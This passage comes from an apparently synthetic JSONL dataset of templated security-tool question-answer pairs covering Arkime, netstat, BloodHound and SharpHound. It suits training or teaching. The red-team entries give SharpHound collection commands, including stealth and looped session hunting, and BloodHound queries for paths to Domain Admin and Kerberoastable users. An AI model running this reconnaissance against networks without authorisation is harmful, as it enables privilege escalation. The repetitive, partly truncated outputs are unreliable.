"2025-12-18T00:11:32.045076Z"} +{"id": "trtp-1d90b0d364ab", "instruction": "How does Arkime integrate with other security tools?", "output": "Integration points for Arkime:\n\nArkime (formerly Moloch) is a large scale full packet capture and search system. Indexes packets for fast searching and retrieval across terabytes of data.\n\nIntegration suggestions:\n- Correlate with endpoint telemetry\n- Feed indicators to SIEM\n- Use with threat intelligence feeds\n- Combine with DNS logs for full picture", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-arkime-moloch-pcap-search", "license": "original", "retrieved_at": "2025-12-18T00:11:32.044944Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.045090Z", "updated_at": "2025-12-18T00:11:32.045090Z"} +{"id": "trtp-e9e3c6f71225", "instruction": "Describe netstat Network Connections.", "output": "netstat Network Connections\n\nnetstat displays active network connections, listening ports, routing tables, and network statistics. Useful for quick live analysis of network state.\n\nPlatform: cross-platform\n\nCommon uses:\n- Find listening backdoors\n- Identify active connections\n- Quick network assessment\n- Live system analysis", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-netstat-network-connections", "license": "original", "retrieved_at": "2025-12-18T00:11:32.045263Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.045283Z", "updated_at": "2025-12-18T00:11:32.045283Z"} +{"id": "trtp-8899e1ece955", "instruction": "What command or query syntax does netstat use?", "output": "Syntax for netstat:\n\nnetstat [options]\n\nnetstat displays active network connections, listening ports, routing tables, and network statistics. Useful for quick live analysis of network state.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-netstat-network-connections", "license": "original", "retrieved_at": "2025-12-18T00:11:32.045263Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.045297Z", "updated_at": "2025-12-18T00:11:32.045297Z"} +{"id": "trtp-5bb8e1e3db1a", "instruction": "Provide an example of using netstat.", "output": "Example of netstat Network Connections:\n\n```\n# Show all connections with PIDs (Windows)\nnetstat -ano\n\n# Show listening ports (Linux)\nnetstat -tulnp\n\n# Show established connections\nnetstat -an | grep ESTABLISHED\n\n# Continuous refresh\nnetstat -c\n```\n\nInterpretation: Shows local/foreign address, state, and PID (with -p/-o)", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-netstat-network-connections", "license": "original", "retrieved_at": "2025-12-18T00:11:32.045263Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.045308Z", "updated_at": "2025-12-18T00:11:32.045308Z"} +{"id": "trtp-4a46c24fb9cb", "instruction": "What are the use cases for netstat?", "output": "Use cases for netstat:\n\n- Find listening backdoors\n- Identify active connections\n- Quick network assessment\n- Live system analysis\n\nnetstat displays active network connections, listening ports, routing tables, and network statistics. Useful for quick live analysis of network state.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-netstat-network-connections", "license": "original", "retrieved_at": "2025-12-18T00:11:32.045263Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.045320Z", "updated_at": "2025-12-18T00:11:32.045320Z"} +{"id": "trtp-19c2d72bc549", "instruction": "What do the results from netstat mean?", "output": "Interpreting netstat output:\n\nShows local/foreign address, state, and PID (with -p/-o)\n\nExample output:\n```\n# Show all connections with PIDs (Windows)\nnetstat -ano\n\n# Show listening ports (Linux)\nnetstat -tulnp\n\n# Show established connections\nnetstat -an | grep ESTABLISHED\n\n# Continuous refresh\nnetstat -c\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-netstat-network-connections", "license": "original", "retrieved_at": "2025-12-18T00:11:32.045263Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.045331Z", "updated_at": "2025-12-18T00:11:32.045331Z"} +{"id": "trtp-5999cfc51204", "instruction": "What are common tips for netstat?", "output": "Tips for using netstat:\n\n- Use -p (Linux) or -o (Windows) for PIDs\n- LISTENING state = open port\n- ESTABLISHED = active connection\n\nUseful for: Find listening backdoors, Identify active connections, Quick network assessment", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-netstat-network-connections", "license": "original", "retrieved_at": "2025-12-18T00:11:32.045263Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.045343Z", "updated_at": "2025-12-18T00:11:32.045343Z"} +{"id": "trtp-417739463d65", "instruction": "How do I use netstat for threat detection?", "output": "Using netstat for threat detection:\n\nnetstat displays active network connections, listening ports, routing tables, and network statistics. Useful for quick live analysis of network state.\n\nExample:\n```\n# Show all connections with PIDs (Windows)\nnetstat -ano\n\n# Show listening ports (Linux)\nnetstat -tulnp\n\n# Show established connections\nnetstat -an | grep ESTABLISHED\n\n# Continuous refresh\nnetstat -c\n```\n\nTips:\n- Use -p (Linux) or -o (Windows) for PIDs\n- LISTENING state = open port", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-netstat-network-connections", "license": "original", "retrieved_at": "2025-12-18T00:11:32.045263Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.045355Z", "updated_at": "2025-12-18T00:11:32.045355Z"} +{"id": "trtp-bcfce4ad7093", "instruction": "What's the process for analyzing data with netstat?", "output": "Workflow for netstat Network Connections:\n\n1. Understand the context: netstat displays active network connections, listening ports, routing tables, and network statistics. Useful for quick live analysis of network state.\n\n2. Apply the tool:\n```\n# Show all connections with PIDs (Windows)\nnetstat -ano\n\n# Show listening ports (Linux)\nnetstat -tulnp\n\n# Show established connections\nnetstat -an | grep ESTABLISHED\n\n# Continuous refresh\nnetstat -c\n```\n\n3. Common scenarios: Find listening backdoors, Identify active connections, Quick network assessment\n\n4. Best practices:\n - Use -p (Linux) or -o (Windows) for PIDs\n - LISTENING state = open port", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-netstat-network-connections", "license": "original", "retrieved_at": "2025-12-18T00:11:32.045263Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.045370Z", "updated_at": "2025-12-18T00:11:32.045370Z"} +{"id": "trtp-8e9eafe468bb", "instruction": "What are the advantages of netstat for security analysis?", "output": "Advantages of netstat:\n\nnetstat displays active network connections, listening ports, routing tables, and network statistics. Useful for quick live analysis of network state.\n\nBest suited for:\n- Find listening backdoors\n- Identify active connections\n- Quick network assessment\n- Live system analysis\n\nNetwork-level analysis complements endpoint data for full visibility.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-netstat-network-connections", "license": "original", "retrieved_at": "2025-12-18T00:11:32.045263Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.045384Z", "updated_at": "2025-12-18T00:11:32.045384Z"} +{"id": "trtp-43fc27ef9108", "instruction": "How does netstat integrate with other security tools?", "output": "Integration points for netstat:\n\nnetstat displays active network connections, listening ports, routing tables, and network statistics. Useful for quick live analysis of network state.\n\nIntegration suggestions:\n- Correlate with endpoint telemetry\n- Feed indicators to SIEM\n- Use with threat intelligence feeds\n- Combine with DNS logs for full picture", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-netstat-network-connections", "license": "original", "retrieved_at": "2025-12-18T00:11:32.045263Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.045398Z", "updated_at": "2025-12-18T00:11:32.045398Z"} +{"id": "trtp-02861c539149", "instruction": "Explain BloodHound for security professionals.", "output": "BloodHound Overview\n\nBloodHound is an Active Directory reconnaissance tool that uses graph theory to reveal hidden attack paths. It collects AD data with SharpHound and visualizes relationships in Neo4j to identify paths to Domain Admin.\n\nPlatform: cross-platform\n\nCommon uses:\n- AD security assessment\n- Attack path identification\n- Privilege escalation analysis\n- Red team reconnaissance", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.045578Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.045599Z", "updated_at": "2025-12-18T00:11:32.045599Z"} +{"id": "trtp-ad04fb60d217", "instruction": "How do I use BloodHound?", "output": "Syntax for BloodHound:\n\nGUI application with Neo4j backend\n\nBloodHound is an Active Directory reconnaissance tool that uses graph theory to reveal hidden attack paths. It collects AD data with SharpHound and visualizes relationships in Neo4j to identify paths to Domain Admin.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.045578Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.045613Z", "updated_at": "2025-12-18T00:11:32.045613Z"} +{"id": "trtp-fe75e6fff74e", "instruction": "Show me an example of BloodHound in action.", "output": "Example of BloodHound Overview:\n\n```\n# Workflow:\n1. Collect data with SharpHound\n2. Import JSON files to BloodHound\n3. Run pre-built queries\n4. Analyze attack paths\n5. Export findings for remediation\n```\n\nInterpretation: Graphs show relationships between objects - edges represent attack opportunities", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.045578Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.045625Z", "updated_at": "2025-12-18T00:11:32.045625Z"} +{"id": "trtp-6e7465fc20a7", "instruction": "What are the use cases for BloodHound?", "output": "Use cases for BloodHound:\n\n- AD security assessment\n- Attack path identification\n- Privilege escalation analysis\n- Red team reconnaissance\n\nBloodHound is an Active Directory reconnaissance tool that uses graph theory to reveal hidden attack paths. It collects AD data with SharpHound and visualizes relationships in Neo4j to identify paths", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.045578Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.045637Z", "updated_at": "2025-12-18T00:11:32.045637Z"} +{"id": "trtp-69e692e18875", "instruction": "How do I interpret BloodHound output?", "output": "Interpreting BloodHound output:\n\nGraphs show relationships between objects - edges represent attack opportunities\n\nExample output:\n```\n# Workflow:\n1. Collect data with SharpHound\n2. Import JSON files to BloodHound\n3. Run pre-built queries\n4. Analyze attack paths\n5. Export findings for remediation\n```", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.045578Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.045648Z", "updated_at": "2025-12-18T00:11:32.045648Z"} +{"id": "trtp-477ca3de8aac", "instruction": "How can I get the most out of BloodHound?", "output": "Tips for using BloodHound:\n\n- Run collection from domain-joined system\n- Update regularly for new techniques\n- Use with PowerView for validation\n\nUseful for: AD security assessment, Attack path identification, Privilege escalation analysis", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.045578Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.045660Z", "updated_at": "2025-12-18T00:11:32.045660Z"} +{"id": "trtp-86a6e1ac6fdc", "instruction": "How is BloodHound used in penetration testing?", "output": "Offensive security uses of BloodHound:\n\nBloodHound is an Active Directory reconnaissance tool that uses graph theory to reveal hidden attack paths. It collects AD data with SharpHound and visualizes relationships in Neo4j to identify paths to Domain Admin.\n\nExample:\n```\n# Workflow:\n1. Collect data with SharpHound\n2. Import JSON files to BloodHound\n3. Run pre-built queries\n4. Analyze attack paths\n5. Export findings for remediation\n```\n\nCapabilities:\n- AD security assessment\n- Attack path identification\n- Privilege escalation analysis", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.045578Z", "transform_template": "attack_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.045675Z", "updated_at": "2025-12-18T00:11:32.045675Z"} +{"id": "trtp-92049c1808b7", "instruction": "What's the process for analyzing data with BloodHound?", "output": "Workflow for BloodHound Overview:\n\n1. Understand the context: BloodHound is an Active Directory reconnaissance tool that uses graph theory to reveal hidden attack paths. It collects AD data with SharpHound and visualizes relationships in Neo4j to identify paths \n\n2. Apply the tool:\n```\n# Workflow:\n1. Collect data with SharpHound\n2. Import JSON files to BloodHound\n3. Run pre-built queries\n4. Analyze attack paths\n5. Export findings for remediation\n```\n\n3. Common scenarios: AD security assessment, Attack path identification, Privilege escalation analysis\n\n4. Best practices:\n - Run collection from domain-joined system\n - Update regularly for new techniques", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.045578Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.045690Z", "updated_at": "2025-12-18T00:11:32.045690Z"} +{"id": "trtp-467f1d55dbb1", "instruction": "What makes BloodHound useful for this task?", "output": "Advantages of BloodHound:\n\nBloodHound is an Active Directory reconnaissance tool that uses graph theory to reveal hidden attack paths. It collects AD data with SharpHound and visualizes relationships in Neo4j to identify paths to Domain Admin.\n\nBest suited for:\n- AD security assessment\n- Attack path identification\n- Privilege escalation analysis\n- Red team reconnaissance\n\nActive Directory tools are essential for assessing enterprise security posture.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.045578Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.045704Z", "updated_at": "2025-12-18T00:11:32.045704Z"} +{"id": "trtp-6e7565e65978", "instruction": "How does BloodHound integrate with other security tools?", "output": "Integration points for BloodHound:\n\nBloodHound is an Active Directory reconnaissance tool that uses graph theory to reveal hidden attack paths. It collects AD data with SharpHound and visualizes relationships in Neo4j to identify paths \n\nIntegration suggestions:\n- Import results into visualization tools\n- Feed attack paths to remediation workflows\n- Correlate with SIEM alerts\n- Use with privilege audit systems", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.045578Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.045718Z", "updated_at": "2025-12-18T00:11:32.045718Z"} +{"id": "trtp-f9b16dc202fc", "instruction": "What is SharpHound and how is it used in security?", "output": "SharpHound Collection\n\nSharpHound is the data collector for BloodHound. It queries Active Directory for users, groups, computers, sessions, ACLs, and trusts. Multiple collection methods available.\n\nPlatform: windows\n\nCommon uses:\n- AD data collection\n- Session enumeration\n- ACL analysis\n- Trust mapping", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-sharphound-collection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.045882Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.045903Z", "updated_at": "2025-12-18T00:11:32.045903Z"} +{"id": "trtp-d4ef717042c8", "instruction": "What command or query syntax does SharpHound use?", "output": "Syntax for SharpHound:\n\nSharpHound.exe -c \n\nSharpHound is the data collector for BloodHound. It queries Active Directory for users, groups, computers, sessions, ACLs, and trusts. Multiple collection methods available.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-sharphound-collection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.045882Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.045917Z", "updated_at": "2025-12-18T00:11:32.045917Z"} +{"id": "trtp-a0a2b1ee536a", "instruction": "Give me a practical example of SharpHound.", "output": "Example of SharpHound Collection:\n\n```\n# All collection methods\nSharpHound.exe -c All\n\n# Specific collections\nSharpHound.exe -c DCOnly # Only from DC\nSharpHound.exe -c Session # Session collection\nSharpHound.exe -c ACL # ACL data\n\n# Stealth mode (slower but quieter)\nSharpHound.exe -c All --Stealth\n\n# Loop collection (continuous)\nSharpHound.exe -c Session --Loop --LoopDuration 02:00:00\n```\n\nInterpretation: Creates ZIP file with JSON data for BloodHound import", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-sharphound-collection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.045882Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.045929Z", "updated_at": "2025-12-18T00:11:32.045929Z"} +{"id": "trtp-8903461a0ab7", "instruction": "Provide an example of using SharpHound.", "output": "Here is a practical example of SharpHound:\n\n```\n# All collection methods\nSharpHound.exe -c All\n\n# Specific collections\nSharpHound.exe -c DCOnly # Only from DC\nSharpHound.exe -c Session # Session collection\nSharpHound.exe -c ACL # ACL data\n\n# Stealth mode (slower but quieter)\nSharpHound.exe -c All --Stealth\n\n# Loop collection (continuous)\nSharpHound.exe -c Session --Loop --LoopDuration 02:00:00\n```\n\nSharpHound is the data collector for BloodHound. It queries Active Directory for users, groups, computers, sessions, ACLs, and trusts. Multiple collection methods available.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-sharphound-collection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.045882Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.045939Z", "updated_at": "2025-12-18T00:11:32.045939Z"} +{"id": "trtp-c3a964491e3d", "instruction": "What are the use cases for SharpHound?", "output": "Use cases for SharpHound:\n\n- AD data collection\n- Session enumeration\n- ACL analysis\n- Trust mapping\n\nSharpHound is the data collector for BloodHound. It queries Active Directory for users, groups, computers, sessions, ACLs, and trusts. Multiple collection methods available.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-sharphound-collection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.045882Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.045951Z", "updated_at": "2025-12-18T00:11:32.045951Z"} +{"id": "trtp-4629ea8801ce", "instruction": "What are some tips for using SharpHound?", "output": "Tips for using SharpHound:\n\n- All method is comprehensive but noisy\n- Session collection needs admin for remote systems\n- Loop mode for session hunting\n\nUseful for: AD data collection, Session enumeration, ACL analysis", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-sharphound-collection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.045882Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.045967Z", "updated_at": "2025-12-18T00:11:32.045967Z"} +{"id": "trtp-9a93bad97464", "instruction": "What capabilities does SharpHound provide for offensive security?", "output": "Offensive security uses of SharpHound:\n\nSharpHound is the data collector for BloodHound. It queries Active Directory for users, groups, computers, sessions, ACLs, and trusts. Multiple collection methods available.\n\nExample:\n```\n# All collection methods\nSharpHound.exe -c All\n\n# Specific collections\nSharpHound.exe -c DCOnly # Only from DC\nSharpHound.exe -c Session # Session collection\nSharpHound.exe -c ACL # ACL data\n\n# Stealth mode (slower but quieter)\nSharpHound.exe -c All --Stealth\n\n# Loop collection (continuous)\nSharpHound.exe -c Session --Loop --LoopDuration 02:00:00\n```\n\nCapabilities:\n- AD data collection\n- Session enumeration\n- ACL analysis", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-sharphound-collection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.045882Z", "transform_template": "attack_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.045982Z", "updated_at": "2025-12-18T00:11:32.045982Z"} +{"id": "trtp-d79667512432", "instruction": "What's the process for analyzing data with SharpHound?", "output": "Workflow for SharpHound Collection:\n\n1. Understand the context: SharpHound is the data collector for BloodHound. It queries Active Directory for users, groups, computers, sessions, ACLs, and trusts. Multiple collection methods available.\n\n2. Apply the tool:\n```\n# All collection methods\nSharpHound.exe -c All\n\n# Specific collections\nSharpHound.exe -c DCOnly # Only from DC\nSharpHound.exe -c Session # Session collection\nSharpHound.exe -c ACL # ACL data\n\n# Stealth mode (slower but quieter)\nSharpHound.exe -c All --Stealth\n\n# Loop collection (continuous)\nSharpHound.exe -c Session --Loop --LoopDuration 02:00:00\n```\n\n3. Common scenarios: AD data collection, Session enumeration, ACL analysis\n\n4. Best practices:\n - All method is comprehensive but noisy\n - Session collection needs admin for remote systems", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-sharphound-collection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.045882Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.045997Z", "updated_at": "2025-12-18T00:11:32.045997Z"} +{"id": "trtp-071b08f74f69", "instruction": "What makes SharpHound useful for this task?", "output": "Advantages of SharpHound:\n\nSharpHound is the data collector for BloodHound. It queries Active Directory for users, groups, computers, sessions, ACLs, and trusts. Multiple collection methods available.\n\nBest suited for:\n- AD data collection\n- Session enumeration\n- ACL analysis\n- Trust mapping\n\nActive Directory tools are essential for assessing enterprise security posture.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-sharphound-collection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.045882Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.046010Z", "updated_at": "2025-12-18T00:11:32.046010Z"} +{"id": "trtp-2a66ec22ae9c", "instruction": "How do I use SharpHound alongside other tools in my toolkit?", "output": "Integration points for SharpHound:\n\nSharpHound is the data collector for BloodHound. It queries Active Directory for users, groups, computers, sessions, ACLs, and trusts. Multiple collection methods available.\n\nIntegration suggestions:\n- Import results into visualization tools\n- Feed attack paths to remediation workflows\n- Correlate with SIEM alerts\n- Use with privilege audit systems", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-sharphound-collection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.045882Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.046024Z", "updated_at": "2025-12-18T00:11:32.046024Z"} +{"id": "trtp-160b866b985b", "instruction": "What do I need to know about BloodHound?", "output": "BloodHound Pre-Built Queries\n\nBloodHound includes pre-built queries for common attack path analysis including paths to Domain Admin, Kerberoastable users, and dangerous configurations.\n\nPlatform: cross-platform\n\nCommon uses:\n- Quick security assessment\n- Attack path discovery\n- Vulnerability identification\n- Risk prioritization", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-pre-built-queries", "license": "original", "retrieved_at": "2025-12-18T00:11:32.046208Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.046228Z", "updated_at": "2025-12-18T00:11:32.046228Z"} +{"id": "trtp-1de8477dcc6b", "instruction": "Show me the basic syntax for BloodHound.", "output": "Syntax for BloodHound:\n\nAnalysis tab > Pre-Built Queries\n\nBloodHound includes pre-built queries for common attack path analysis including paths to Domain Admin, Kerberoastable users, and dangerous configurations.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-pre-built-queries", "license": "original", "retrieved_at": "2025-12-18T00:11:32.046208Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.046242Z", "updated_at": "2025-12-18T00:11:32.046242Z"} +{"id": "trtp-a58261034e01", "instruction": "Give me a practical example of BloodHound.", "output": "Example of BloodHound Pre-Built Queries:\n\n```\n# Key queries:\n- Find all Domain Admins\n- Find Shortest Paths to Domain Admins\n- Find Principals with DCSync Rights\n- Find Kerberoastable Users\n- Shortest Paths to Unconstrained Delegation Systems\n- Find Computers where Domain Users are Local Admin\n- Shortest Paths to High Value Targets\n```\n\nInterpretation: Query results show paths as graphs - each edge is an attack opportunity", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-pre-built-queries", "license": "original", "retrieved_at": "2025-12-18T00:11:32.046208Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.046253Z", "updated_at": "2025-12-18T00:11:32.046253Z"} +{"id": "trtp-ae9a5c54ea3a", "instruction": "Provide an example of using BloodHound.", "output": "Here is a practical example of BloodHound:\n\n```\n# Key queries:\n- Find all Domain Admins\n- Find Shortest Paths to Domain Admins\n- Find Principals with DCSync Rights\n- Find Kerberoastable Users\n- Shortest Paths to Unconstrained Delegation Systems\n- Find Computers where Domain Users are Local Admin\n- Shortest Paths to High Value Targets\n```\n\nBloodHound includes pre-built queries for common attack path analysis including paths to Domain Admin, Kerberoastable users, and dangerous configurations.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-pre-built-queries", "license": "original", "retrieved_at": "2025-12-18T00:11:32.046208Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.046263Z", "updated_at": "2025-12-18T00:11:32.046263Z"} +{"id": "trtp-ea410ff7b6c3", "instruction": "What are the use cases for BloodHound?", "output": "Use cases for BloodHound:\n\n- Quick security assessment\n- Attack path discovery\n- Vulnerability identification\n- Risk prioritization\n\nBloodHound includes pre-built queries for common attack path analysis including paths to Domain Admin, Kerberoastable users, and dangerous configurations.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-bloodhound-bloodhound-pre-built-queries", "license": "original", "retrieved_at": "2025-12-18T00:11:32.046208Z", "transform_template": 